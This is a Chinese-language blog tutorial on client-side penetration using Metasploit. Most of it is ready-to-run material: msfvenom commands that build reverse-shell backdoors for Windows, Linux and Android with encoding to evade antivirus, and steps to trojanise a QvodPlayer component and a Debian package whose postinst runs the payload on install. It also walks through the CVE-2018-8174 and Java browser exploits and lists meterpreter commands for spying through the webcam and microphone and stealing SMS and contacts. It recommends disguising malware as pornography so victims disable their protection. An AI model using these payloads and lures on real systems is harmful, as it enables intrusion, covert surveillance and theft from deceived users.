客户端渗透测试原理

  • 在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。
  • 客户端渗透技巧,通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性,比如我们将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法并不能解决所有问题,我们需要利用免杀来躲避安全软件的查杀。
  • 防病毒软件收录了大量的病毒木马样本,可通过其病毒木马数据库,检测当前程序。所以,可以通过修改病毒木马的二进制字符,或者对病毒木马做加密处理,来做到免杀。

Windows客户端渗透原理

远程获取PC的shell
实例一:生成西瓜影音.exe 后门程序。
  • 1、通过msfvenom制作后门程序。msfvenom 是 msfpayload,msfencode 的结合体,可利用 msfvenom 生成木马程序,并在目标机 上执行,在本地监听上线。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音 1.exe-a x86     #指定架构,x86--platform windows      #指定平台,为Windows。-p windows/meterpreter/reverse_tcp        #指定payload,为windows/meterpreter/reverse_tcp。LHOST、LPORT  #设置上做监听的的主机ip和端口。-b "\x00"        #去掉坏字符-e x86/shikata_ga_nai     #编码(做免杀)-i 10     #指定编码次数,为10次-f exe       #指定输出文件的格式,为exe格式。也可以是 raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -l formats 查看所有支持的格式-o     #指定文件输出位置及文件名。指定到网站根目录/var/www/html,方便在肉机上下载后门程序。
  • 在kali中,将生成的病毒文件,输出到了/var/www/html目录下。然后启动Apache:systemctl start apache2
    通过Apache提供的web服务将生成病毒文件下载下来:
    http://192.168.83.138/西瓜影音

  • 2、在 MSF 上启动 handler 开始监听后门程序 :

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.53
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
  • 危险文件检测:https://www.virustotal.com

  • 将“病毒文件”发给被攻击者,当被攻击者执行该文件后。目标主机就被控制。

  • 将会话保存到后台,方便以后使用

meterpreter > background
msf5 exploit(multi/handler) > sessions #查看会话
msf5 exploit(multi/handler) > sessions -i 1 #指定会话 ID,调用新的会话
meterpreter > exit #如果不想使用了,就退出,断开会话
  • PS:补充一下meterpreter的用法。
实例二:模拟黑客给正常的软件加上后门
  • 场景:当我们特别需要安装某一款软件时,杀毒软件会报出有毒。此时,有没有过忽视杀毒软件的提示,继续按照软件。尤其是:激活工具、盗版游戏、看片神器、裸聊神器、注册机、等等。

  • 1、先下载一个正常的快播软件(免安装的快播软件)。为了软件的正常安装启动,尽量不要动主程序。从它的被调用的程序入手。启动软件时在进程中发现,当启动主程序(QvodPlayer.exe)时,程序(QvodTerminal.exe)在会被调用。所以,用QvodTerminal.exe动手脚。

  • 2、将QvodTerminal.exe拿到msf下捆绑后门:

root@kali:/home/kk# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.31.55 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe

  • 将已捆绑后门的QvodTerminal.exe放到原软件包里,替换掉原来的QvodTerminal.exe
  • 此时,在msf监听它的连接:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.31.55
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
  • 攻击对象运行QvodPlayer,即可触发后门:

Linux客户端渗透原理

制作 Linux 恶意软件获取 shell
  • 使用 msfvenom 生成 linux 可执行文件
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/testshell
  • MSF 配置、监听:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > exploit
  • 打开 centos 7,新建一个终端:
wget http://192.168.1.53/testshell    #下载后门
chmod +x testshell     #添加执行权限
./testshell         #执行程序
  • 我们回到 MSF 控制台,Session 已经建立:
制作恶意 deb 软件包来触发后门
  • 以freesweep.deb软件包为例。先下载:apt-get --download-only install freesweep
    文件下载到了/var/cache/apt/archibes,为了便于操作,移到家目录。

  • 解压软件包dpkg -x freesweep_1.0.1-1_amd64.deb free

  • 生成恶意代码到软件包源文件中msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.83.138 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources将恶意代码放到freesweep软件包的/usr/games/目录下。

  • 拓展:生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的。 创建软件包信息目录 。(必备文件,否则不能成功创建软件包)

root@kali:~#  mkdir free/DEBIAN && cd free/DEBIAN 创建软件包的信息文件
root@kali:~#  vim free/DEBIAN/control
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
  • 其中,软件包信息文件中关键字:Package、Version、Section、Priority、Architecture、Maintainer、Description不可少,value随意填写。

  • 本软件包是,安装完成deb后,出发后门文件。

  • DEBIAN目录下写一个触发后门的文件:postinst,

#!/bin/bash
sudo chmod 755 /usr/games/freesweep_sources         #给后门文件附执行权限。
sudo /usr/games/freesweep_sources &     #执行后门文件,&:意为后台运行。
  • 然后,给postinst附执行权限:root@kali:~/free/DEBIAN# chmod 755 postinst

  • 将文件打包:root@kali:~# dpkg-deb --build /root/free/

  • 此时,带有后门的软件包已经设置完毕。接下来就是监控设置的ip和端口,让对方安装触发后门,以控制对方主机。

  • 本地监控ip和端口:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
  • 对方安装软件包,触发后门:root@linux:~# dpkg -i free.deb
IE浏览器远程代码执行漏洞(CVE-2018-8174)复现
  • 下载CVE-2018-8174的exp:
    git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

  • html 文件生成成功:

python CVE-2018-8174.py -u http://192.168.83.138/exploit.html -o hack.rtf -i 192.168.83.138 -p 4444参数说明:-u:URL 地址,恶意 html 文件 exploit.html 的访问地址 -o:生成文档 -i:监听地址 -p:监听端口 恶意
  • 然后,将 exploit.html 放到能够访问到的网站目录下,以供对方下载。

  • 启动网站服务:service apache2 start

  • 此时在msf中做监听:

msf5 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.83.138
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
  • 当有人用有IE浏览器内核的浏览器访问:http://192.168.83.138/exploit.html。即可被getshell。
  • 上图出现乱码,设置成UTF-8就行了:chcp 65001
基于 java 环境的漏洞利用获取 shell
  • 前提:被攻击对象安装有Java环境——安装了jre-7u17-windows-i586。傻瓜式安装即可。
  • 实战:
msf5 > use exploit/multi/browser/java_jre17_driver_manager
msf5 exploit(multi/browser/java_jre17_driver_manager) > show options
msf5 exploit(multi/browser/java_jre17_driver_manager) > show payloads
msf5 exploit(multi/browser/java_jre17_driver_manager) > set payloads java/meterpreter/reverse_tcp
msf5 exploit(multi/browser/java_jre17_driver_manager) > set LHOST 192.168.83.138
msf5 exploit(multi/browser/java_jre17_driver_manager) > run
  • run后,会给出一个需要被攻击对象触发 的URL:http://192.168.83.138:8080/bc3K9Xomd7GfN0

  • 攻击对象访问http://192.168.83.138:8080/bc3K9Xomd7GfN0。会弹出两个框,点击Later更新即可触发。

  • 通过sessions查看打开连接。

  • GetShell!!

安卓客户端渗透
  • 使用msfvenom生成一个后门apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.83.138 LPORT=4444 R > test.apk
  • 在msf中建立监听:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.83.138
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > run
  • 此时,在安卓手机上安装上面生成的test.apk软件包。然后点开APP图标,即可触发。GetShell!!!

  • 下面,是meterpreter下的操作命令

  • 1、Stdapi:网络摄像头命令:

record_mic       # 录制默认麦克风的音频X秒钟
webcam_chat     # 开始视频聊天
webcam_list     # 列出网络摄像头
webcam_snap     # 从指定的网络摄像头拍摄快照
webcam_stream -i 1 #从指定的网络摄像头播放视频流[选择后摄像头]
  • 2、Android命令:
activity_start       # 从Uri字符串开始Android活动
check_root          # 检查设备是否已植根
dump_calllog        # 获取通话记录
dump_contacts       # 获取联系人列表
dump_sms            # 获取短信
geolocate           # 使用地理位置获取当前经纬度
hide_app_icon       # 在启动器中隐藏应用程序图标
interval_collect    # 管理间隔收集功能
send_sms            # 从目标会话发送短信
set_audio_mode      # 设置铃声模式
sqlite_query        # 从存储中查询SQLite数据库
wakelock            # 启用/禁用唤醒锁
wlan_geolocate      # 使用WLAN信息获取当前的经纬度
  • 3、应用控制器命令:
app_install      # 要求安装APK文件
app_list        # 列出设备中已安装的应用
app_run         # 启动包名称的主要活动
app_uninstall   # 要求卸载应用程序

Metasploit(3) 渗透测试之通过客户端进行渗透相关推荐

  1. tomcat temp 大量 upload 文件_渗透测试之文件上传漏洞总结

    文末下载上传环境源码 客户端 js检查 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 查看源代码可以看到有如下代码对上传文件类型进行了限制: 我们 ...

  2. 渗透测试之SQL注入基础

    渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...

  3. Kali渗透测试之端口扫描1——UDP、TCP、僵尸扫描、隐蔽扫描

    端口扫描 每个服务器上面都会跑很多应用,每个应用都会侦听某些端口,通过侦听端口接收来自客户端或其他用户对应用程序的访问.所以在发现目标主机存活后,我们需要知道目标主机上都开放了那些端口,应用程序的漏洞 ...

  4. 渗透测试之信息收集思维导图

    渗透测试之信息收集-脑图 信息收集的重要性 根据<精通Metasploit渗透测试>一书所讲: 信息收集是整个渗透测试最重要阶段之一,可任意让测试者选择合适和准确的渗透测试攻击方式,缩短渗 ...

  5. 渗透测试之扫描与枚举(2)

    渗透测试之扫描与枚举(2) 扫描简介 Ping扫描(检查存活系统) Ping Angry IP nmap 端口扫描 全开扫描(TCP连接扫描) 隐蔽扫描(半开扫描) 圣诞树扫描 FIN扫描 NULL扫 ...

  6. 渗透测试之指纹识别(CMS、CDN、WAF)

    目录 什么是指纹识别: 1.cms指纹识别 2.cdn指纹识别: 3.WAF指纹识别: 什么是指纹识别: 通过关键特征,识别出目标的CMS系统.服务器.开发语言.操作系统.CDN.WAF的类别 版本等 ...

  7. ONE DAY |网络安全渗透测试之跨网段攻击

    目录 ​​​​​​一.网络安全 1.什么是渗透测试? 2.渗透测试的完整流程 3.渗透测试方法 二.实验阶段 1.实验项目名称 2.实验所需工具 3.实验目的及要求 作业要求: 4.实验开始 1.配置 ...

  8. 渗透测试之后台查找,如何查找网站后台

    渗透测试之后台查找,如何查找网站后台 1.当前页面信息浏览 查看图片的相关属性 查看网站底部管理入口和版权信息 robots文件 故意请求不存在的页面 2.当前页面后台猜解 CMS指纹识别 猜解常见后 ...

  9. 渗透测试之破解密码(3)

    渗透测试之破解密码(3) 常见密码破解技术 被动在线攻击 主动在线攻击 离线攻击 彩虹表 使用彩虹表破解密码 使用非技术性方法 使用闪存驱动器窃取密码 提升权限 TRK(Trinity Rescue ...

最新文章

  1. Python数据集可视化:抽取数据集的两个特征进行二维可视化、主成分分析PCA对数据集降维进行三维可视化(更好地理解维度之间的相互作用)
  2. 施一公:大学必须不计成败、不论得失地为探索者提供宽容和支持的环境
  3. iSCSI的基础实验
  4. 怎样设置html的元素属性,Jquery怎么设置元素的属性和样式?
  5. matlab通过“ideal_lp设计理想高通滤波器_常见低通、高通、带通三种滤波器的工作原理...
  6. Java设计模式教程
  7. python opencv3 轮廓检测
  8. 游标循环读取的正确逻辑_千分尺的正确使用方法原来是这样?我用了那么多年都用错了...
  9. Python OOP 项目实践:从农药到吃鸡
  10. C++基础与深度解析第七章:深入IO
  11. 简单高效搞定---迁移学习
  12. 如何在Windows CMD的一行中运行两个命令?
  13. 获取批量导入数据后,所产生所有自增ID的值
  14. 微信小程序列表item点击事件 js获取点击到的数据
  15. C语言----打家劫舍(leetcode三题汇总)
  16. 预防死锁的方法以及死锁的检测与解除
  17. 国空三区三线思考之:Arcgis自上而下从左到右进行编号
  18. Excel删除文本中任意位置所有空格的3种方法比较
  19. Trade and the world economy -- 贸易与世界经济
  20. Bootstrap简单网页制作

热门文章

  1. 陌陌、Soul、觅伊,陌生人社交的商业化岔路口
  2. 魅族手机怎么升级Android版本,魅族魅蓝Note的手机系统是什么?能升级安卓5.0吗?...
  3. java基于ssm蔬菜水果商城销售系统设计 jsp maven idea
  4. PostgreSQL函数coalesce
  5. 电脑硬盘一共有多少种
  6. 【论文技巧】Latex、Word、图片里的公式互转
  7. 超级搞笑,肚子疼的别进来了[分享]
  8. JAVA开发环境配置
  9. smtp发信出现的问题
  10. 手把手教你写一个Matlab App(二)